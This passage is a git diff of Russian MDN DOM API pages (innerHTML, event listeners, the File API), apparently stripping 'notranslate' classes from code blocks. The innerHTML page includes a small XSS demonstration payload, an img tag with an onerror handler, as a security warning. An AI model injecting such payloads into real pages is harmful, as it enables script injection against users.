javascript:"<pre>"+document.documentElement.innerHTML.replace(/</g,"&lt;") + "</pre>"; </pre> @@ -49,7 +49,7 @@ javascript:"<pre>"+document.documentElement.innerHTML.replace(/</g,"&am <p>Не редко можно увидеть использование InnerHTML для вставки текста в веб страницу. Это приводит к рискам безопасности.</p> -<pre class="brush: js notranslate">const name = "John"; +<pre class="brush: js">const name = "John"; // предполагая, что 'el' является HTML DOM-элементом. el.innerHTML = name; // безвредный в этом случае @@ -62,7 +62,7 @@ el.innerHTML = name; // безвредный в этом случае</pre> <p>Однако, есть способы запустить JavaScript без использования элементов {{HTMLElement("script")}}, так что есть риск безопасности всякий раз, когда вы используете innerHTML для набора строк, над которыми у вас нет контроля. Например:</p> -<pre class="brush: js notranslate">const name = "<img src='x' onerror='alert(1)'>"; +<pre class="brush: js">const name = "<img src='x' onerror='alert(1)'>"; el.innerHTML = name; // показывает alert</pre> <p>По этой причине, рекомендуется не использовать innerHTML при вставке обычного текста; вместо этого, используйте {{domxref("node.textContent")}}. Это не интерпретирует отправленный контент как HTML, но вместо этого он вставляется как не обработанный текст. </p> @@ -73,7 +73,7 @@ el.innerHTML = name; // показывает alert</pre> <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">function log(msg) { +<pre class="brush: js">function log(msg) { var logElem = document.querySelector(".log"); var time = new Date(); @@ -87,7 +87,7 @@ log("Регистрация событий мыши внутри этого ко <p>Мы добавляем второй метод, который логирует информацию о событиях на основе {{domxref("MouseEvent")}} (например, {{event("mousedown")}}, {{event("click")}}, и {{event("mouseenter")}}):</p> -<pre class="brush: js notranslate">function logEvent(event) { +<pre class="brush: js">function logEvent(event) { var msg = "Event <strong>" + event.type + "</strong> at <em>" + event.clientX + ", " + event.clientY + "</em>"; log(msg); @@ -95,7 +95,7 @@ log("Регистрация событий мыши внутри этого ко <p>Затем мы используем этот обработчик событий на элементе, который содержит наше логирование, для каждого события мыши:</p> -<pre class="brush: js notranslate">var boxElem = document.querySelector(".box"); +<pre class="brush: js">var boxElem = document.querySelector(".box"); boxElem.addEventListener("mousedown", logEvent); boxElem.addEventListener("mouseup", logEvent); @@ -107,7 +107,7 @@ boxElem.addEventListener("mouseleave", logEvent);</pre> <p>HTML довольно простой для нашего примера.</p> -<pre class="brush: html notranslate"><div class="box"> +<pre class="brush: html"><div class="box"> <div><strong>Log:</strong></div> <div class="log"></div> </div></pre> @@ -118,7 +118,7 @@ boxElem.addEventListener("mouseleave", logEvent);</pre> <p>Для нашего примера используем следующие CSS стили.</p> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { width: 600px; height: 300px; border: 1px solid black; diff --git a/files/ru/web/api/element/mouseenter_event/index.html b/files/ru/web/api/element/mouseenter_event/index.html index 4eaf5d34d6..5b730ba50a 100644 --- a/files/ru/web/api/element/mouseenter_event/index.html +++ b/files/ru/web/api/element/mouseenter_event/index.html @@ -53,7 +53,7 @@ translation_of: Web/API/Element/mouseenter_event <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div id='mouseTarget'> +<pre class="brush: html"><div id='mouseTarget'> <ul id="unorderedList"> <li>No events yet!</li> </ul> @@ -63,7 +63,7 @@ translation_of: Web/API/Element/mouseenter_event <p>Стилизация <code>div</code> чтобы сделать его более заметным.</p> -<pre class="brush: css notranslate">#mouseTarget { +<pre class="brush: css">#mouseTarget { box-sizing: border-box; width:15rem; border:1px solid #333; @@ -71,7 +71,7 @@ translation_of: Web/API/Element/mouseenter_event <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js notranslate">var enterEventCount = 0; +<pre class="brush: js">var enterEventCount = 0; var leaveEventCount = 0; const mouseTarget = document.getElementById('mouseTarget'); const unorderedList = document.getElementById('unorderedList'); diff --git a/files/ru/web/api/element/queryselectorall/index.html b/files/ru/web/api/element/queryselectorall/index.html index 31f9443386..38761d00ea 100644 --- a/files/ru/web/api/element/queryselectorall/index.html +++ b/files/ru/web/api/element/queryselectorall/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Element/querySelectorAll <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>elementList</em> = baseElement.querySelectorAll(<em>selectors</em>); +<pre class="syntaxbox"><em>elementList</em> = baseElement.querySelectorAll(<em>selectors</em>); </pre> <p>где</p> @@ -24,18 +24,18 @@ translation_of: Web/API/Element/querySelectorAll <p>Этот пример возвращает список всех элементов с тегом p, которые находятся в теле документа:</p> -<pre class="brush: js notranslate">var matches = document.body.querySelectorAll('p'); +<pre class="brush: js">var matches = document.body.querySelectorAll('p'); </pre> <p>Этот пример возвращает список всех элементов с тегом p, которые находятся непосредственно в элементах-контейнерах с тегом div, имеющих класс 'highlighted', которые в свою очередь находятся внутри элемента с идентификатором 'test':</p> -<pre class="brush:js notranslate">var el = document.querySelector('#test'); +<pre class="brush:js">var el = document.querySelector('#test'); var matches = el.querySelectorAll('div.highlighted > p'); </pre> <p>Этот пример возвращает список всех элементов iframe, которые имеют атрибут "data-src":</p> -<pre class="brush: js notranslate">var matches = el.querySelectorAll('iframe[data-src]'); +<pre class="brush: js">var matches = el.querySelectorAll('iframe[data-src]'); </pre> <h2 id="Notes">Примечания</h2> diff --git a/files/ru/web/api/element/scrollheight/index.html b/files/ru/web/api/element/scrollheight/index.html index 66f1f574e4..d4000efc21 100644 --- a/files/ru/web/api/element/scrollheight/index.html +++ b/files/ru/web/api/element/scrollheight/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Element/scrollHeight <h2 id="Syntax_and_values">Синтаксис</h2> -<pre class="eval notranslate">var <em>intElemScrollHeight</em> = document.getElementById(<em>id_attribute_value</em>).scrollHeight; +<pre class="eval">var <em>intElemScrollHeight</em> = document.getElementById(<em>id_attribute_value</em>).scrollHeight; </pre> <p><em>intElemScrollHeight</em> - переменная, хранящая целое число, соответствующее пиксельному значению scrollHeight элемента. scrollHeight является свойством только для чтения.</p> @@ -40,7 +40,7 @@ translation_of: Web/API/Element/scrollHeight <p>Следующее выражение возвращает <code>true</code>, если элемент был прокручен до конца, <code>false</code> если это не так.</p> -<pre class="syntaxbox notranslate">element.scrollHeight - element.scrollTop === element.clientHeight</pre> +<pre class="syntaxbox">element.scrollHeight - element.scrollTop === element.clientHeight</pre> <h2 id="scrollHeight_Demo">Пример работы scrollHeight</h2> @@ -48,7 +48,7 @@ translation_of: Web/API/Element/scrollHeight <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><form name="registration"> +<pre class="brush: html"><form name="registration"> <p> <textarea id="rules"> Регистрируясь на сайте любителей котиков я соглашаюсь со следующими условиями: @@ -81,7 +81,7 @@ translation_of: Web/API/Element/scrollHeight <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">#notice { +<pre class="brush: css">#notice { display: inline-block; margin-bottom: 12px; border-radius: 5px; @@ -100,7 +100,7 @@ translation_of: Web/API/Element/scrollHeight <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">function checkReading () { +<pre class="brush: js">function checkReading () { if (checkReading.read) { return; } diff --git a/files/ru/web/api/element/setattribute/index.html b/files/ru/web/api/element/setattribute/index.html index 6a16a07850..ac988fa87e 100644 --- a/files/ru/web/api/element/setattribute/index.html +++ b/files/ru/web/api/element/setattribute/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Element/setAttribute <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>element</em>.setAttribute(<em>name</em>, <em>value</em>); +<pre class="syntaxbox"><em>element</em>.setAttribute(<em>name</em>, <em>value</em>); </pre> <ul> @@ -23,9 +23,9 @@ translation_of: Web/API/Element/setAttribute <p>В следующем примере, <code>setAttribute()</code> используется, чтобы установить атрибут {{htmlattrxref("disabled")}} кнопки {{htmlelement("button")}}, делая её отключённой.</p> -<pre class="brush: html notranslate"><button>Hello World</button></pre> +<pre class="brush: html"><button>Hello World</button></pre> -<pre class="brush:js notranslate">var b = document.querySelector("button"); +<pre class="brush:js">var b = document.querySelector("button"); b.setAttribute("disabled", "disabled"); </pre> diff --git a/files/ru/web/api/event/bubbles/index.html b/files/ru/web/api/event/bubbles/index.html index 4daa6fbaa2..f3f77f9542 100644 --- a/files/ru/web/api/event/bubbles/index.html +++ b/files/ru/web/api/event/bubbles/index.html @@ -15,20 +15,20 @@ translation_of: Web/API/Event/bubbles <h3 id="Синтаксис">Синтаксис</h3> -<pre class="notranslate">event.bubbles</pre> +<pre>event.bubbles</pre> <p>Возвращает булево значение <code>true</code>, если событие является всплывающим внутри DOM.</p> <h3 id="Syntax">Пример</h3> -<pre class="eval notranslate"><em>var bool</em> = event.bubbles; +<pre class="eval"><em>var bool</em> = event.bubbles; </pre> <p><code>bool</code> содержит <code>true</code> или <code>false</code> в зависимости от того, может событие быть всплывающим внутри DOM или нет</p> <h3 id="Example">Пример</h3> -<pre class="notranslate">function handleInput(e) { +<pre>function handleInput(e) { // Проверяем всплывает ли событие и ... if (!e.bubbles) { // ... пропускаем событие сюда если нет diff --git a/files/ru/web/api/event/currenttarget/index.html b/files/ru/web/api/event/currenttarget/index.html index cfdabb8a64..581a0f198b 100644 --- a/files/ru/web/api/event/currenttarget/index.html +++ b/files/ru/web/api/event/currenttarget/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Event/currentTarget <p><code>event.currentTarget</code> используется, когда один и тот же обработчик события присваивается нескольким элементам.</p> -<pre class="brush: js notranslate">function hide(e){ +<pre class="brush: js">function hide(e){ e.currentTarget.style.visibility = "hidden"; // Когда данная функция используется в качестве обработчика события: this === e.currentTarget } diff --git a/files/ru/web/api/event/event/index.html b/files/ru/web/api/event/event/index.html index a728138f22..9ca43c3a83 100644 --- a/files/ru/web/api/event/event/index.html +++ b/files/ru/web/api/event/event/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Event/Event <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"> <em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre> +<pre class="syntaxbox"> <em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre> <h3 id="Параметры">Параметры</h3> @@ -32,7 +32,7 @@ translation_of: Web/API/Event/Event <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">// <span id="result_box" lang="ru"><span>создать событие "look", событие всплывающее и не может быть отменено</span></span> +<pre class="brush: js">// <span id="result_box" lang="ru"><span>создать событие "look", событие всплывающее и не может быть отменено</span></span> var evt = new Event("look", {"bubbles":true, "cancelable":false}); document.dispatchEvent(evt); diff --git a/files/ru/web/api/event/target/index.html b/files/ru/web/api/event/target/index.html index ea342310ab..d3e08d4b12 100644 --- a/files/ru/web/api/event/target/index.html +++ b/files/ru/web/api/event/target/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Event/target <p id="Синтаксис">Синтаксис</p> -<pre class="syntaxbox notranslate">theTarget = event.target</pre> +<pre class="syntaxbox">theTarget = event.target</pre> <p>Значение:</p> @@ -21,7 +21,7 @@ translation_of: Web/API/Event/target <p>Свойство <code>event.target</code> может быть использовано для реализации <strong>делегирования событий</strong>.</p> -<pre class="notranslate">// Создадим список +<pre>// Создадим список var ul = document.createElement('ul'); document.body.appendChild(ul); @@ -52,7 +52,7 @@ ul.addEventListener('click', hide, false);</pre> <p>В IE 6-8 модель событий отличается. Обработчики событий назначаются с помощью нестандартного {{domxref('EventTarget.attachEvent')}} метода. При этом в объекте события есть свойство {{domxref('Event.srcElement')}}, вместо <code>target</code> свойства, но по смыслу оно идентично <code>event.target</code>.</p> -<pre class="brush: js notranslate">function hide(e) { +<pre class="brush: js">function hide(e) { // Поддержка IE 6-8 var target = e.target || e.srcElement; target.style.visibility = 'hidden'; diff --git a/files/ru/web/api/eventlistener/index.html b/files/ru/web/api/eventlistener/index.html index 43bcdc188d..4ff64d8c80 100644 --- a/files/ru/web/api/eventlistener/index.html +++ b/files/ru/web/api/eventlistener/index.html @@ -31,7 +31,7 @@ translation_of: Web/API/EventListener <p>Этот метод вызывается всякий раз, когда происходит событие того типа, для которого был зарегистрирован интерфейс EventListener.</p> -<pre class="eval notranslate">void handleEvent( +<pre class="eval">void handleEvent( in Event event ); </pre> @@ -53,12 +53,12 @@ translation_of: Web/API/EventListener <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><code><button id="btn">Нажми сюда!</button></code> +<pre class="brush: html"><code><button id="btn">Нажми сюда!</button></code> </pre> <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate"><code>const buttonElement = document.getElementById('btn'); +<pre class="brush: js"><code>const buttonElement = document.getElementById('btn'); // Добавим обработчик для события "click", предоставив callback. // Теперь по клику на элемент будет всплывать подсказка. diff --git a/files/ru/web/api/eventtarget/addeventlistener/index.html b/files/ru/web/api/eventtarget/addeventlistener/index.html index de792a7f54..d442f0f239 100644 --- a/files/ru/web/api/eventtarget/addeventlistener/index.html +++ b/files/ru/web/api/eventtarget/addeventlistener/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/EventTarget/addEventListener <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><em>target.addEventListener(type, listener</em>[<em>, options</em>]<em>); +<pre class="syntaxbox"><code><em>target.addEventListener(type, listener</em>[<em>, options</em>]<em>); target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]); <em>target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>, <em>wantsUntrusted </em>{{Non-standard_inline}}]); // только Gecko/Mozilla </code></pre> @@ -68,7 +68,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <p>Например, колбэк обработчика событий, который может использоваться для обработки {{event("fullscreenchange")}} и {{event("fullscreenerror")}} может выглядеть так:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">eventHandler</span><span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">eventHandler</span><span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>event<span class="punctuation token">.</span>type <span class="operator token">==</span> <span class="string token">'fullscreenchange'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">/* Переключатель полноэкранного режима */</span> <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="comment token">/* fullscreenerror */</span> <span class="punctuation token">{</span> @@ -84,7 +84,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <p>Например, если вы хотите проверить параметр <code>passive</code>:</p> -<pre class="brush: js notranslate">var passiveSupported = false; +<pre class="brush: js">var passiveSupported = false; try { var options = Object.defineProperty({}, "passive", { @@ -102,7 +102,7 @@ try { <p>Если вы хотите добавить обработчик событий, использующий параметры, о которых идёт речь, вы можете сделать это подобным образом:</p> -<pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported +<pre class="brush: js">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported ? { passive: true } : false);</pre> <p>Здесь мы добавляем обработчик события {{event ("mouseup")}} элемента <code>someElement</code>. Для третьего параметра, если <code>passiveSupported</code> имеет значение <code>true</code>, мы указываем объект <code>options</code> с <code>passive: true</code>; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаём <code>false</code> как значение параметра <code>useCapture</code>.</p> @@ -119,7 +119,7 @@ try { <h4 id="HTML_Содержимое">HTML Содержимое</h4> -<pre class="brush: html notranslate"><table id="outside"> +<pre class="brush: html"><table id="outside"> <tr><td id="t1">один</td></tr> <tr><td id="t2">два</td></tr> </table> @@ -127,7 +127,7 @@ try { <h4 id="JavaScript_Содержимое">JavaScript Содержимое</h4> -<pre class="brush: js notranslate">// Функция изменяет содержимое t2 +<pre class="brush: js">// Функция изменяет содержимое t2 function modifyText() { var t2 = document.getElementById("t2"); if (t2.firstChild.nodeValue == "три") { @@ -154,14 +154,14 @@ el.addEventListener("click", modifyText, false); <h4 id="HTML_Содержимое_2">HTML Содержимое</h4> -<pre class="brush: html notranslate"><table id="outside"> +<pre class="brush: html"><table id="outside"> <tr><td id="t1">один</td></tr> <tr><td id="t2">два</td></tr> </table></pre> <h4 id="JavaScript_Содержимое_2">JavaScript Содержимое</h4> -<pre class="brush: js notranslate">// Функция, изменяющая содержание t2 +<pre class="brush: js">// Функция, изменяющая содержание t2 function modifyText(new_text) { var t2 = document.getElementById("t2"); t2.firstChild.nodeValue = new_text; @@ -182,14 +182,14 @@ el.addEventListener("click", function(){modifyText("четыре")}, false); <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><table id="outside"> +<pre class="brush: html"><table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table></pre> <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js notranslate">// Function to change the content of t2 +<pre class="brush: js">// Function to change the content of t2 function modifyText(new_text) { var t2 = document.getElementById("t2"); t2.firstChild.nodeValue = new_text; @@ -233,7 +233,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p>В примере выше значение переменной <code>this</code> внутри <code>modifyText()</code> при вызове событием клика равно таблице 't'. Это противоположно поведению, которое возникает, если обработчик добавлен в HTML-разметке:</p> -<pre class="brush: html notranslate"><table id="t" onclick="modifyText();"> +<pre class="brush: html"><table id="t" onclick="modifyText();"> . . . </pre> @@ -243,7 +243,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p>Пример с использованием <code>bind</code> и без него:</p> -<pre class="brush: js notranslate">var Something = function(element) { +<pre class="brush: js">var Something = function(element) { this.name = 'Something Good'; this.onclick1 = function(event) { console.log(this.name); // undefined, так как this является элементом @@ -258,7 +258,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p>Проблема в примере выше заключается в том, что вы не можете удалить обработчик, вызванный с <code>bind</code>. Другое решение использует специальную функцию <code>handleEvent</code>, чтобы перехватывать любые события:</p> -<pre class="brush: js notranslate">var Something = function(element) { +<pre class="brush: js">var Something = function(element) { this.name = 'Something Good'; this.handleEvent = function(event) { console.log(this.name); // 'Something Good', так как this является объектом Something @@ -286,7 +286,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p>В Internet Explorer младше 9 версии, вы можете использовать <code><a href="http://msdn.microsoft.com/en-us/library/ms536343(VS.85).aspx">attachEvent</a></code> вместо стандартного <code>addEventListener</code>. Для поддержки IE, пример выше может быть модифицирован следующим образом:</p> -<pre class="brush: js notranslate">if (el.addEventListener) { +<pre class="brush: js">if (el.addEventListener) { el.addEventListener('click', modifyText, false); } else if (el.attachEvent) { el.attachEvent('onclick', modifyText); @@ -303,7 +303,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p><strong>Note: </strong>useCapture не поддерживается, так как IE 8 не имеет альтернативного метода для этого. Также заметьте, что следующий код только добавляет поддержку IE 8. Также, он работает только при соблюдении стандартов: объявление DOCTYPE страницы обязательно.</p> </div> -<pre class="brush: js notranslate">(function() { +<pre class="brush: js">(function() { if (!Event.prototype.preventDefault) { Event.prototype.preventDefault=function() { this.returnValue=false; @@ -380,7 +380,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p><code>addEventListener()</code> был добавлен в спецификации DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a>. До этого обработчики добавлялись следующим образом:</p> -<pre class="brush: js notranslate">// Передача ссылки на функцию — не добавляйте '()' после него, это вызовет функцию! +<pre class="brush: js">// Передача ссылки на функцию — не добавляйте '()' после него, это вызовет функцию! el.onclick = modifyText; // Использование функционального выражения @@ -395,7 +395,7 @@ element.onclick = function() { <h3 id="Memory_issues">Вопросы памяти</h3> -<pre class="brush: js notranslate">var i; +<pre class="brush: js">var i; var els = document.getElementsByTagName('*'); // Случай 1 @@ -420,7 +420,7 @@ for(i=0 ; i<els.length ; i++){ <p>Значение по умолчанию для параметра <code>passive</code> - <code>false</code>. Начиная с Chrome 56 (desktop, Chrome for Android, Android webview) значение по умолчанию для {{event("touchstart")}} и {{event("touchmove")}} равно <code>true</code>, а вызовы <code>preventDefault()</code> не разрешены. Чтобы отменить это поведение, необходимо установить параметр <code>passive</code> в <code>false</code> (см. пример ниже). Это изменение не позволяет обработчику блокировать показ страницы во время прокрутки пользователя. Демонстрация доступна на <a href="https://developers.google.com/web/updates/2016/06/passive-event-listeners">сайте разработчиков Google</a>. Обратите внимание, что Edge вообще не поддерживает <code>options</code>, и добавление его без <a href="https://developer.mozilla.org/ru/docs/Web/API/EventTarget/addEventListener$edit#Safely_detecting_option_support">проверки поддержки</a> помешает использовать аргумент <code>useCapture</code>.</p> -<pre class="brush: js notranslate">/* Feature detection */ +<pre class="brush: js">/* Feature detection */ var passiveSupported = false; try { window.addEventListener( diff --git a/files/ru/web/api/extendableevent/index.html b/files/ru/web/api/extendableevent/index.html index f7305b2f4f..4e41c3d38a 100644 --- a/files/ru/web/api/extendableevent/index.html +++ b/files/ru/web/api/extendableevent/index.html @@ -65,7 +65,7 @@ translation_of: Web/API/ExtendableEvent <p><strong>Note</strong>: In Chrome, logging statements are visible via the "Inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals.</p> </div> -<pre class="brush: js notranslate">var CACHE_VERSION = 1; +<pre class="brush: js">var CACHE_VERSION = 1; var CURRENT_CACHES = { prefetch: 'prefetch-cache-v' + CACHE_VERSION }; diff --git a/files/ru/web/api/extendableevent/waituntil/index.html b/files/ru/web/api/extendableevent/waituntil/index.html index 7adc465c72..66225a232d 100644 --- a/files/ru/web/api/extendableevent/waituntil/index.html +++ b/files/ru/web/api/extendableevent/waituntil/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/ExtendableEvent/waitUntil <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>extendableEvent</em>.waitUntil(<em>promise</em>);</pre> +<pre class="syntaxbox"><em>extendableEvent</em>.waitUntil(<em>promise</em>);</pre> <h3 id="Параметры">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/API/ExtendableEvent/waitUntil <p>Использование <code>waitUntil()</code> внутри события <code>install</code> в service worker:</p> -<pre class="brush: js;highlight:[10] notranslate">addEventListener('install', event => { +<pre class="brush: js;highlight:[10]">addEventListener('install', event => { const preCache = async () => { const cache = await caches.open('static-v1'); return cache.addAll([ diff --git a/files/ru/web/api/file/using_files_from_web_applications/index.html b/files/ru/web/api/file/using_files_from_web_applications/index.html index 4535edc2e2..855bd8817a 100644 --- a/files/ru/web/api/file/using_files_from_web_applications/index.html +++ b/files/ru/web/api/file/using_files_from_web_applications/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/File/Using_files_from_web_applications <p>Рассмотрим следующий код:</p> -<pre class="brush: html notranslate"><input type="file" id="input" multiple></pre> +<pre class="brush: html"><input type="file" id="input" multiple></pre> <p>File API делает возможным доступ к {{ domxref("FileList") }}, который содержит объекты {{ domxref("File") }}, которым соответствуют файлы, выбранные пользователем.</p> @@ -19,11 +19,11 @@ translation_of: Web/API/File/Using_files_from_web_applications <p>Обращение к одному выбранному файлу с использованием классической DOM-модели:</p> -<pre class="brush: js notranslate">const selectedFile = document.getElementById('input').files[0];</pre> +<pre class="brush: js">const selectedFile = document.getElementById('input').files[0];</pre> <p>Обращение к одному выбранному файлу через <a href="http://jquery.com/">jQuery</a>:</p> -<pre class="brush: js notranslate">var selectedFile = $('#input').get(0).files[0]; +<pre class="brush: js">var selectedFile = $('#input').get(0).files[0]; var selectedFile = $('#input')[0].files[0];</pre> @@ -35,7 +35,7 @@ var selectedFile = $('#input')[0].files[0];</pre> <p>Также возможно (но не обязательно) получить доступ к {{DOMxRef("FileList")}} через событие <code>change</code>. Нужно использовать {{DOMxRef("EventTarget.addEventListener()")}} чтобы добавить обработчик события <code>change</code>, как показано здесь:</p> -<pre class="brush: js notranslate">const inputElement = document.getElementById("input"); +<pre class="brush: js">const inputElement = document.getElementById("input"); inputElement.addEventListener("change", handleFiles, false); function handleFiles() { const fileList = this.files; /* now you can work with the file list */ @@ -43,7 +43,7 @@ function handleFiles() { <p>Обработчик события <code>change</code> можно назначить атрибутом элемента:</p> -<pre class="brush: html notranslate"><input type="file" id="input" onchange="handleFiles(this.files)"></pre> +<pre class="brush: html"><input type="file" id="input" onchange="handleFiles(this.files)"></pre> <p>Когда пользователь выбирает файл, функция <span style="font-family: consolas,monaco,andale mono,monospace;">handleFiles() будет вызвана с объектом </span>{{ domxref("FileList") }}, который состоит из объектов {{ domxref("File") }}, представляющих файлы, выбранные пользователем.</p> @@ -51,11 +51,11 @@ function handleFiles() { <p>Объект {{ domxref("FileList") }} предоставляемый классическим DOM содержит все файлы выбранные пользователем, каждый из которых представляет собой объект {{ domxref("File") }}. Вы можете определить сколько файлов выбрал пользователь проверяя значение атрибута длины (<code>length</code>) списка файлов:</p> -<pre class="brush: js notranslate"><code>var numFiles = files.length;</code></pre> +<pre class="brush: js"><code>var numFiles = files.length;</code></pre> <p>Конкретные объекты {{ domxref("File") }} могут быть получены обращением к списку файлов как к массиву:</p> -<pre class="brush: js notranslate">for (var i = 0, numFiles = files.length; i < numFiles; i++) { +<pre class="brush: js">for (var i = 0, numFiles = files.length; i < numFiles; i++) { var file = files[i]; .. } @@ -78,7 +78,7 @@ function handleFiles() { <p>Следующий пример показывает возможное использование свойства <code>size</code>:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8"> @@ -118,12 +118,12 @@ function updateSize() { <p>Рассмотрим следующую разметку HTML:</p> -<pre class="brush: html notranslate"><code><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> +<pre class="brush: html"><code><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> <a href="#" id="fileSelect">Select some files</a></code></pre> <p>Код, обрабатывающий событие click, может выглядеть следующим образом:</p> -<pre class="brush: js notranslate">var fileSelect = document.getElementById("fileSelect"), +<pre class="brush: js">var fileSelect = document.getElementById("fileSelect"), fileElem = document.getElementById("fileElem"); fileSelect.addEventListener("click", function (e) { @@ -142,7 +142,7 @@ fileSelect.addEventListener("click", function (e) { <p>Рассмотрим следующую разметку HTML:</p> -<pre class="brush: html notranslate"><code><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> +<pre class="brush: html"><code><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> <label for="fileElem">Select some files</label></code></pre> <p>В данном случае нет необходимости добавлять код JavaScript для того, чтобы вызвать <code>fileElem.click()</code>. Также в данном случае вы можете стилизовать элемент label так, как пожелаете.</p> @@ -153,7 +153,7 @@ fileSelect.addEventListener("click", function (e) { <p>На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приёмку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:</p> -<pre class="brush: js notranslate">var dropbox; +<pre class="brush: js">var dropbox; dropbox = document.getElementById("dropbox"); dropbox.addEventListener("dragenter", dragenter, false); @@ -165,7 +165,7 @@ dropbox.addEventListener("drop", drop, false); <p>В нашем случае нет необходимости делать что-то особенное при обработке событий <code>dragenter</code> и <code>dragover</code>, таким образом, обе функции, ответственные за обработку данных событий, довольно просты. Они останавливают распространение события и предотвращают возникновение действия по умолчанию:</p> -<pre class="brush: js notranslate">function dragenter(e) { +<pre class="brush: js">function dragenter(e) { e.stopPropagation(); e.preventDefault(); } @@ -178,7 +178,7 @@ function dragover(e) { <p>Вся настоящая магия происходит в функции <code>drop()</code>:</p> -<pre class="brush: js notranslate">function drop(e) { +<pre class="brush: js">function drop(e) { e.stopPropagation(); e.preventDefault(); @@ -195,7 +195,7 @@ function dragover(e) { <p>Представим, что вы разрабатываете очередной веб-сайт для обмена фотографиями и вы хотите использовать возможности HTML5 для предварительного просмотра изображений перед тем, как пользователь загрузит их. Вы можете создать <code>input</code> элемент или зону перетаскивания, как обсуждалось ранее, и вызвать такую функцию, как <code>handleFiles()</code> ниже.</p> -<pre class="brush: js notranslate">function handleFiles(files) { +<pre class="brush: js">function handleFiles(files) { for (var i = 0; i < files.length; i++) { var file = files[i]; @@ -225,11 +225,11 @@ function dragover(e) { <p>Когда у вас есть объект {{ domxref("File") }}, на который вы хотите ссылаться по URL из HTML, вы можете создать для этого объект URL, такой как этот:</p> -<pre class="brush: js notranslate"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre> +<pre class="brush: js"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre> <p>URL объекта <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создаётся новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобождён. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:</p> -<pre class="brush: js notranslate"><code>window.URL.revokeObjectURL(objectURL);</code></pre> +<pre class="brush: js"><code>window.URL.revokeObjectURL(objectURL);</code></pre> <h2 id="Пример_Использование_URL_объектов_для_отображения_изображений">Пример: Использование URL объектов для отображения изображений</h2> @@ -237,7 +237,7 @@ function dragover(e) { <p>HTML, который представляет интерфейс, выглядит так:</p> -<pre class="brush: html notranslate"><input type="file" id="fileElem" 